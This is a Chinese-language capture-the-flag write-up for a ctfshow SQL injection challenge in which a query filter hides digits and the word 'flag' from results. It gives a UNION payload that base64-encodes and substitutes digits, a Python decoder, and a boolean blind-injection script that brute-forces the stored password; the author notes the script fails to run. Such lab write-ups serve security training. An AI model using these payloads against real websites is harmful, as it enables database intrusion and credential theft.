思路分析
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
题目给出的提示,表格给出来了就是ctfshow_user4,username就是flag
这里按理想到的回应是
1' union select 1,2,password from ctfshow_user4 where username='flag' --+
具体能显示多少我们自己去实验
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
然后题目给出了过滤条件,过滤的哪里!!注意过滤的是ret函数,就是你已经select完事啦,这个时候要往客户端返回哪些id username password了,他这个正则匹配之后,妥妥的直接,不让你有flag的字样,不让你有数字!!是返回的结果啊!!
我们只要password那会有数字是肯定的,这个时候就要把数字绕过去
所以两种方法
第一种就是
我把数字都替换成我规定的火星文可以了吧?
replace(to_base64(password),"1","@A")
寄出我们的replace函数,把to_base64(password)中的数字1变成@A,至于为什么是to_base64(password) 好像是因为一开始有一个username !=‘flag’
我们通过一连串的操作把1~9完全替换了
[GET]PAYLOAD:
?id=0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J"),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+
得到的就是替换后的一串,用脚本返编译回来
import base64
flag64 = "xxx"
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
print(base64.b64decode(flag))
第二种就是
既然检测的是返回的值,只要返回不出现数字就好了吧?
用布尔 ,判断的方式
1' union select database(),if(ascci(select password from ctfshow_user4 where username ='flag')=99,dui,cuo)--+
上面的写错了,
1' union select database(),if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),1,1))=99,'dui','cuo')--+
# -*- coding: utf-8 -*-
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import requests
s=requests.session()
url="http://788b3add-0f2e-4633-9187-412c5010fafb.challenge.ctf.show:8080/select-no-waf-4.php"
table=""
for i in range(1,50):
print(i)
for j in range(31,128):
#读取flag
payload = "?id=1' union select database(),if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%s,1))=%s,'dui','cuo')--+"%(str(i), str(j))
#req = requests.get(url=url+payload).text
ra=s.get(url=url+ payload).text
#print(ra)
if "dui" in ra:
table += chr(j)
print(table)
break
脚本应该没问题啊,不懂为什么就是跑不出来